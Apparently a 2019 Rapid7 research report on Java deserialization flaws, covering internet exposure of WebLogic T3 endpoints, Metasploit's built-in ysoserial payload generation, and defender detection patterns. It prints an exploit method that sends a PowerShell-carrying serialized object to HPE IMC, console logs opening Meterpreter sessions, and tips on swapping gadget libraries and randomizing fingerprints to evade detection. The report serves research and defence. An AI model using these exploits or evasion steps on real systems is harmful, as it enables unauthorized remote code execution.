Aaron Soto, Senior Security Researcher, Rapid7
Jon Hart, Principal Security Researcher, Rapid7
March 19, 2019
Java Serialized Objects (JSOs) are a mechanism to allow for data exchange between Java services. Because they also give attackers a stable and reliable vector for gaining remote control of systems running Java applications, they are increasingly responsible for vulnerabilities and public exploits against internet-accessible services. In this report, we will explore how JSOs can be vulnerable to unsafe deserialization vulnerabilities, how prevalent JSO-handling applications are on the general internet, and how Metasploit Framework can help testers validate vulnerabilities involving JSOs.
Although both the offensive and defensive exploit developer communities have leveraged serialized objects for some time, many IT and IT security practitioners may not be familiar with how serialized objects are used by developers and abused by attackers. In this section, we will take a moment to explore the pros and cons of serialization and how it’s used—and abused—in modern networked applications.
JSOs allow Java services to communicate with one another without rigidly defined structures. They provide a flexible way of exchanging data between Java services, often using files or network connections. The sender includes the structure and data types alongside the data (therefore serializing the object), while the receiver converts the stream back to an object through a process called deserialization. JSOs retain type information alongside the data and are used to transport complex Java objects around without worrying too much about what’s in them.
For example, one component of a Java application might build a “Customer” object that includes elements such as a “firstname” string, a “lastname” string, an integer amount of “money_to_spend,” and perhaps even a StreetAddress-type object that includes a few integers and strings. If components can just toss these “Customer” objects around to each other, the interfaces don’t need to know or care about what’s actually in a “Customer.” Instead, they’ll just serialize and deserialize these objects without regard to their contents, trusting that the sender and receiver do the right thing.
Unfortunately, while the deserialization process might convert inbound object blobs to something as benign as a few type-defined strings and integers, it can just as easily produce a malicious function that launches an attacker-controlled process if the code designers don’t go out of their way to check the serialized object before acting on it. As it turns out, many receivers can't proactively limit which objects will be accepted before they’re deserialized and executed. This means attackers with the ability to build and send their own custom JSOs to a waiting deserializing interface can often gain unauthenticated remote code execution (RCE) on the receiver. Exacerbating this problem is the fact that serialized object handling is often so baked into products that modifying the way the internal components communicate is non-trivial. This makes patching serialization bugs both difficult and costly, since programmers have to pay back tech debt accrued by failing to consider object types and contents when first designing the product interfaces.
To mitigate this threat vector, vendors often opt to implement targeted blacklists that prevent the use of specific libraries leveraged to gain RCE instead of undertaking the more comprehensive patching task of redesigning the interface with malicious inputs in mind. In other words, when developers blacklist a library, the vulnerable JSO communication is left intact, but the library the exploit uses to gain RCE is blocked.
Once attackers identify another library with similar functionality, they can quickly and trivially target the new library.
To speed up retooling, tools like Chris Frohoff’s ysoserial can build a JSO using any number of libraries and wrapping a payload within one of several dozen JSOs. These tools greatly simplify risk demonstration and JSO-related vulnerability testing; their use also means that narrow, library-based blacklisting mitigation techniques are ineffective against attackers with access to public exploits and popular tooling.
Java deserialization attacks aren't new, but attackers have increasingly discovered how easy it is to develop these exploits. As Mark Reinhold, chief architect of the Java Platform Group at Oracle, recently said, "We like to call serialization the gift that keeps on giving. Right? And the type of gift it keeps on giving are security vulnerabilities."
CWE-502 is the MITRE Common Weakness Enumeration identifier that tracks vulnerabilities with deserialization of untrusted data (in Java or any other object-oriented language). Over the past five years, we've seen a sharp increase in deserialization-based CVEs, including those with CVSS scores higher than 7.0:
Many of these CVEs are found in enterprise products such as Oracle WebLogic, IBM WebSphere, Cisco Secure Access Control System (ACS), HPE Intelligent Management Center (IMC), and VMware's vSphere Integrated Containers. Given the presence of a single JSO-related CVE in a particular product, researchers and defenders can often expect that there will be more to come.
An attacker can gain unauthenticated RCE on a number of these products using a variety of public exploits within the Metasploit Framework, including the following:
Date |
Metasploit Module |
Status |
Feb. 4, 2019 |
In Review |
|
Dec. 16, 2018 |
In Review |
|
Dec. 16, 2018 |
In Review |
|
Dec. 15, 2018 |
In Review |
|
Dec. 3, 2018 |
Landed |
|
Aug. 8, 2018 |
Landed |
|
March 14, 2017 |
Landed |
|
Oct. 14, 2016 |
Landed |
Given a recent increase in reported vulnerabilities involving Oracle's T3 protocol, we used Rapid7's Project Sonar framework to identify WebLogic servers exposed to the public internet in January 2019.
WebLogic itself communicates using a variety of protocols beyond T3, but it is different than many other products and services that speak only one protocol on a given port. For example, the default configuration of modern WebLogic instances provides a default endpoint, 7001/TCP, that speaks several different protocols, including T3, HTTP, SNMP, and LDAP.
To understand more about how WebLogic is exposed on the public internet, we first examined data collected as part of Sonar’s HTTP and HTTPS studies, which run approximately weekly against several dozen ports. When we examined over 120 million HTTP response bodies for a string of text known to be elicited by most WebLogic instances as part of its HTTP support, we saw 18,693 unique IPv4 addresses across 67 different TCP ports that appeared as WebLogic. Not surprisingly, the most common ports where WebLogic was found were 7001 (default) and 80 (HTTP):
With the knowledge of which TCP ports on the public internet might be powered by WebLogic—443, 80, 7001, 8001, and 8002—we then created a way to determine whether a given endpoint speaks the T3 protocol and used this method to more accurately understand the exposure of T3 on the five ports in question.
Our technique sends a 23-byte T3 negotiation message:
t3 9.2.0.0\nAS:2048\nHL:19\n\n
The string ‘t3’ starts the T3 protocol. ‘9.2.0.0’ is the advertised WebLogic version of our client and is used by the server to determine compatibility. The ‘AS’ and ‘HL’ parameters control the JVM message header size and approximate table size, respectively, with values set according to observed defaults.
Experimentation confirmed that T3 endpoints respond with a similar message that describes the result of the T3 negotiation, falling into two groups:
Examining the responses from over 87 million unique IPv4 endpoints that claimed to have one of these previously identified common WebLogic ports—80, 443, 7001, 8001, and 8002—we identified 11,831 systems that are confirmed to be running WebLogic. This is 35% lower than our previous HTTP-based estimate. There are several possible reasons for this discrepancy, such as general internet-scale scanning fluctuation, or the possibility that these WebLogic instances have been explicitly configured to only speak HTTP and not T3. Further proof of this is that 1,183 systems responded negatively to our T3 probe, likely indicating that our connection to T3 was restricted for some reason.
On port 7001/TCP, one of several default ports used by WebLogic, we observed 4,577 T3-speaking IPv4 addresses. Beyond the natural fluctuation that we expected from scanning at scale like this, the lower HTTP-based estimate of 3,439 possibly indicates that there are WebLogic instances on 7001/TCP that speak T3 but not HTTP.
Port 8001/TCP is a common alternative port used by WebLogic installations in cases where the default of 7001/TCP is unavailable or a second instance is needed. We observed 1,157 T3-speaking hosts on 8001/TCP. Port 8002, an even less common alternative port for WebLogic, showed just over 300 WebLogic systems.
On the default HTTP and HTTPS ports (80 and 443), we found 5,672 and 1,133 IPv4 endpoints, respectively, that were confirmed to speak the T3 protocol.
Inspecting the WebLogic versions advertised by confirmed T3 endpoints that we successfully negotiated showed a wide variety of deployed versions, from 12.2.1.3 (the most current version of WebLogic as of early 2019) to 7.0.1.0 (released in 2002):
As part of all Sonar endpoint studies, we also noted at the time of observation any additional relevant metadata about the IP, including the organization that might “own” the IP and location details such as country and city. Examining this metadata from confirmed T3 results revealed a couple of takeaways:
Organization |
Count |
Oracle/Oracle Cloud |
2,982 |
China Telecom |
1,677 |
China Unicom |
867 |
Alibaba/Cloud |
340 |
Amazon/AWS |
264 |
YHSRV |
252 |
China Mobile |
204 |
SumTotal Systems |
143 |
Korea Telecom |
136 |
CenturyLink |
123 |
Tencent |
89 |
Microsoft/Azure |
81 |
LG |
79 |
OVH/SAS |
69 |
Tata |
55 |
Respina Networks |
54 |
HiNet |
42 |
China Education and Research Network Center |
41 |
Airtel |
38 |
Stanford University |
36 |
Country |
Count |
United States |
4279 |
China |
3875 |
Iran |
511 |
South Korea |
307 |
Germany |
241 |
India |
236 |
United Kingdom |
138 |
Canada |
120 |
France |
118 |
Brazil |
115 |
Mexico |
96 |
Vietnam |
83 |
Taiwan |
80 |
Japan |
77 |
Pakistan |
74 |
Singapore |
74 |
Saudi Arabia |
72 |
Thailand |
71 |
Costa Rica |
69 |
Hong Kong SAR China |
67 |
Exploitation can be as simple as using any one of a number of Metasploit modules (#11136, #11134, #11131, and #10436) against a WebLogic server that is remotely discoverable. It can also be a manual process that involves navigating a web service while intercepting traffic and then targeting the vulnerable service with tools like Burp Suite or ysoserial.
For example, an attacker who identifies a WebLogic server would be able to trivially gain unauthenticated RCE via Metasploit:
A more subtle attack would involve navigating a website or using a Java application while monitoring network traffic for the telltale signs of JSO-based interactions. A simple search for traffic containing T3 headers (or the 0xACED magic bytes) can indicate the existence of services using JSOs to communicate:[1]
Finally, an aggressive attacker might use any number of public tools to actively scan services for JSO-based user inputs. For example, the professional version of PortSwigger’s Burp Suite supports a Java Deserialization Scanner extension that can actively identify and exploit JSO vulnerabilities. Interestingly, the extension uses a modification of Wouter Coekaerts’ SerialDOS technique to perform a library-agnostic vulnerability check of a JSO-based service, identifying the inherent vulnerability even if libraries have been blacklisted.
[1] Of course, any random-ish set of binary data may also have the magic 0xACED bytes in there somewhere, so this is more of a useful (but noisy) technique for application testers, and not so useful for network defenders looking to filter JSOs. More context than a mere 2 bytes is needed for a robust network filter.
Researchers and offensive security practitioners are faced with a complex tool ecosystem when testing, developing, and validating exploits used in serialization attacks. Incorporating Metasploit content for deserialization vulnerabilities often requires contributors to reverse-engineer JSOs and manually optimize the payload before inserting a binary blob into a contributed module.
To simplify the process of creating and validating exploits, we’ve added support for native use of ysoserial-based objects within Metasploit Framework. Metasploit can now easily generate or modify a ysoserial JSO for use in exploit development, research, or testing. This mixin reduces a repetitive 38-line function to a single line:
data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
To provide Metasploit contributors with JSO payload generation like ysoserial, we would need a way to provide payloads without requiring specific versions of Java and prerequisite libraries. Not only would invoking these libraries be time-consuming and slow down JSO generation, but it would limit the environments where Metasploit is supported. Additionally, ysoserial inherently calculates lengths of objects within the structure, so implementing JSO payload generation into Metasploit would require locating and updating lengths as well.
As of January, Metasploit provides a cache of pre-generated ysoserial payloads and metadata that allows modules to quickly and reliably generate JSOs. Behind the scenes, we use Docker to create an isolated build environment where Java and dependencies can be installed and run (incidentally, this is similar to how Metasploit payloads are created). The Docker container uses the latest build of ysoserial to list the libraries and variants that can be built, then iterates through each one trying to build objects:
metasploit-framework/tools/payloads/ysoserial/Dockerfile (trimmed for brevity)
FROM ubuntu RUN apt update && apt -y upgrade # Dependencies: wget (to download ysoserial) # openjdk-8-jre-headless (to execute ysoserial) # make, gcc (to install the 'json' ruby gem) RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc # Download the latest ysoserial-modified RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar # Install gems: diff-lcs (to diff the ysoserial output) # json (to print the scripts results in JSON) # pry (to debug issues) RUN gem install --silent diff-lcs json pry COPY find_ysoserial_offsets.rb / CMD ruby /find_ysoserial_offsets.rb
Note that the Docker environment does not need to be run when a Metasploit module needs to generate a JSO. Rather, the container’s output is cached and shipped with Metasploit Framework. The Docker container must only be run when ysoserial maintainers identify new libraries to be integrated into the ysoserial tool, perhaps a few times a year. This process is documented on the Metasploit GitHub wiki.
Our next challenge was finding the length values and payload buffers contained within the ysoserial output. We could manually reverse-engineer each output, but that is tedious and would not support updates to ysoserial. Instead, the Docker container generates a series of objects using payloads of varying lengths, then compares them to locate additional bytes (payload buffer) and incrementing bytes (length values):
metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb (trimmed for brevity):
payloadList = getPayloadList payloadList.each do |payload| STDERR.puts "Generating payloads for #{payload}..." emptyPayload = generatePayload(payload,0) payloadArray = generatePayloadArray(payload) (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i| diffs = diff(payloadArray[i],payloadArray[i+1]) (0..diffs.length-1).each do |j| lengthOffsets.push(currByte.position) if isLengthOffset?(currByte,nextByte) bufferOffsets.push(currByte.position) if isBufferOffset?(currByte,nextByte) end end
As it turns out, ysoserial inserts the string ysoserial/Pwner
followed by a timestamp value. Because this string is so easily identifiable, it may be of particular interest to pen testers and other offensive practitioners who wish to avoid detection:
000026a0: 0a00 2b00 3401 000d 5374 6163 6b4d 6170 ..+.4...StackMap 000026b0: 5461 626c 6501 001d 7973 6f73 6572 6961 Table...ysoseria 000026c0: 6c2f 5077 6e65 7234 3035 3436 3231 3232 l/Pwner405462122 000026d0: 3730 3232 3901 001f 4c79 736f 7365 7269 70229...Lysoseri 000026e0: 616c 2f50 776e 6572 3430 3534 3632 3132 al/Pwner40546212 000026f0: 3237 3032 3239 3b00 2100 0200 0300 0100 270229;.!....... 00002700: 0400 0100 1a00 0500 0600 0100 0700 0000 ................
This fingerprint aids both in identifying ysoserial use and in determining whether the ysoserial JSO was reused from a previous attack. It also has the unfortunate side effect of hindering our diffing technique for finding length offsets and payload buffers. The solution was twofold: Overwrite the fingerprint with an easily locatable string, then generate a random string during each invocation when called by a Metasploit module:
metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb:
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000') return payload
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
The output is written to a JSON file that is ingested by Metasploit. For example, the following is a snippet of the CommonsCollections1
object within the JSON cache file (snipped for brevity):
$ jq '.["CommonsCollections1"]' -r data/ysoserial_payloads.json { "status": "dynamic", "lengthOffset": [ 1167 ], "bufferOffset": [ 1168 ], "bytes": "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSG[...] }
This technique can be re-implemented for any dynamic payload- or object-generating framework. In particular, the use of JSON, Base64, and clearly defined offset values makes it easy for other languages or tools to use this cache file.
From the perspective of a Metasploit contributor, all of the above work is reduced to a single line. Consider the hp_imc_java_deserialize exploit module.
data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
This one line invokes a mixin that is built into exploit and auxiliary modules by default. The mixin is documented on the Metasploit Framework wiki. The ysoserial_payload
method takes two parameters: the ysoserial payload name and the command to be run.
Looking at the full exploit method, the module generates a PowerShell payload, embeds it into a cached ysoserial JSO, then bundles it all inside an HTTP POST request.
def exploit cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true}) data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd) print_status "Sending serialized Java object (#{data.length} bytes)..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'), 'data' => data }) end
Now, let's see the exploit in action.
From the user's perspective, exploits are still responsive and JSO generation happens in the background. Here’s the output from a Metasploit session, using hp_imc_java_deserialize
to exploit an unauthenticated RCE in the HPE IMC:
msf5 > use exploit/windows/http/hp_imc_java_deserialize msf5 exploit(windows/http/hp_imc_java_deserialize) > set RHOST 192.168.1.152 RHOST => 192.168.1.152 msf5 exploit(windows/http/hp_imc_java_deserialize) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf5 exploit(windows/http/hp_imc_java_deserialize) > run [*] Sending serialized Java object (11235 bytes)... [*] Started bind TCP handler against 192.168.1.152:4444 [*] Sending stage (179779 bytes) to 192.168.1.152 [*] Meterpreter session 1 opened (192.168.1.7:44877 -> 192.168.1.152:4444) at 2019-01-15 18:07:07 -0600 meterpreter >
If, hypothetically, the Metasploit user discovered that the JSON1
object used in this module is being caught by an intrusion detection system (IDS) or a blacklist-based service patch, the module can be modified to use a new library (in this case, the CommonsBeanutils1
library).
For example, changing line 101 in the Metasploit module hp_imc_java_deserialize.rb to use “CommonBeanutils1” instead of “JSON1” produces the session output below:
msf5 exploit(windows/http/hp_imc_java_deserialize) > rerun [*] Reloading module... [*] Sending serialized Java object (8734 bytes)... [*] Started bind TCP handler against 192.168.1.152:4444 [*] Sending stage (179779 bytes) to 192.168.1.152 [*] Meterpreter session 2 opened (192.168.1.7:34785 -> 192.168.1.152:4444) at 2019-01-15 18:09:32 -0600 meterpreter >
Defenders can check for JSO-reliant services within their networks, paying special attention to services that are accessible to untrusted hosts and users. For example, check or monitor HTTP headers for services that are known to rely heavily on JSOs. Additionally, use network scanning tools such as Nmap, which have integrated scripts to identify the JSO-based T3 protocol. Finally, monitor and use Metasploit Framework to perform real-world testing of known vulnerable services.
Continually monitoring and responding to these individual vulnerabilities can become tedious. To get ahead of individual vulnerabilities, proactive defenders can search for problematic protocols as well as fingerprints and artifacts that are indicative of these attacks. Since JSOs have a well-defined structure, it is possible to watch for telltale strings in files and network traffic. The easiest thing to watch for is the sequence of "magic bytes" at the start of a JSO. For example, it is useful to watch for patterns inside HTTP parameters and binary protocols:
ac ed
is the hexadecimal representation of the "magic byte" sequence identifying a JSO.ac ed 00 05
indicates the commonly used version 5 of the Java serialization format.%C2%AC%C3%AD%00%05
is the same as above, formatted as a URI-encoded string.rO0AB
is the beginning of the same sequence, formatted as a Base64-encoded string.To be clear, these patterns are neither indicative of a compromise nor unique to JSOs. However, they do warrant further investigation, since they suggest that an attacker with access to that file or network stream would be able to inject a malicious JSO.
If these patterns are confirmed to be used by JSO-based services, defenders can monitor them more closely, sandbox them to mitigate potential compromise, or initiate discussions with vendors to learn whether they've progressed beyond simple blacklisting of known-exploitable libraries.
Many web-based services include a Version
string in the HTTP headers or within the response body, allowing both administrators and attackers to identify the software name and version responding to the web requests. In the case of Oracle WebLogic, the HTML response contains the following string:
$ curl -s http://192.168.1.152:7001/console/login/LoginForm.jsp | grep footerVersionWebLogic Server Version: 10.3.6.0
Scanning tools such as Nmap can monitor for the above string, then negotiate with the host using the T3 protocol to extract more information about the version and state of the server.
$ nmap -sV -p 7001 --script weblogic-t3-info 192.168.1.140 Starting Nmap 7.60SVN (https://nmap.org) at 2019-01-17 18:38 PST Nmap scan report for 192.168.1.140 Host is up (0.10s latency). PORT STATE SERVICE VERSION 7001/tcp open http Oracle Weblogic admin httpd |_weblogic-t3-info: T3 protocol in use (WebLogic version: 12.2.1.3) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
Finally, there are several public exploits for Oracle WebLogic and other services that rely on JSOs. The Metasploit Framework contains many such exploits and is continually updated.
ysoserial primarily generates JSOs that execute command strings (as we saw in the hp_imc_java_deserialize
example above). However, other JSOs require complex inputs that allow them to write files, set up callback connections over a network, or enable stagers to listen for incoming connections. Currently, these payload types are output as unsupported
during the Docker container’s payload generation. One possibility for future community work is to incorporate these JSOs into the existing design, thereby adding support for additional mechanisms to bypass blacklists.
Forks of the ysoserial tool have also spawned with increased functionality. Notably, contributor Carsten Maartmann-Moe submitted a Metasploit pull request for an exploit module using ysoserial-modified
, which incorporates support for bash, cmd, and PowerShell-based payloads. Metasploit contributor L-Codes submitted a pull request expanding Metasploit’s native ysoserial integration with support for the forked ysoserial-modified
tool, which adds native support for Windows command (“cmd”) shell, Windows PowerShell, and Linux bash payloads.
JSOs are an increasingly reliable vector for unauthenticated RCE within Java-based services; accordingly, NIST CVE advisories and public exploits have both increased over the past three years. A variety of Java-based enterprise products are particularly vulnerable to deserialization attacks due to Java’s inherent trust of file and network streams that expose JSO-related functionality. Rapid7 research has demonstrated that these products are internet-accessible in quantity and that they often accept user-supplied data without proper sanitization. Metasploit Framework now includes support for native use of ysoserial-based JSOs in order to simplify and enable research, testing, and secure development.
In addition to continuous patching and monitoring of Java-reliant hosts and services, defenders may consider adding monitoring for signatures present in JSO transactions—both to proactively identify services using JSO-based communication and to identify attacks against deserialization vulnerabilities.
Acknowledgments
We would like to extend our thanks to core ysoserial developer Chris Frohoff and the numerous contributors to the ysoserial project. In addition, we're always grateful to Metasploit contributors, especially those who submitted modules featured in this report. Thanks especially to Carsten Maartmann-Moe and Andrés Rodríguez!
Metasploit is a collaboration between Rapid7 and the open source community. Together, we empower defenders with world-class offensive security content and the ability to understand, exploit, and share vulnerabilities. To download Metasploit, visit metasploit.com.
Rapid7 (Nasdaq: RPD) is advancing security with visibility, analytics, and automation delivered through our Insight cloud. Our solutions simplify the complex, allowing security teams to work more effectively with IT and development to reduce vulnerabilities, monitor for malicious behavior, investigate and shut down attacks, and automate routine tasks. Over 7,200 customers rely on Rapid7 technology, services, and research to improve security outcomes and securely advance their organizations. For more information about Rapid7 or to join our threat research, visit our website, check out our blog, or follow us on Twitter.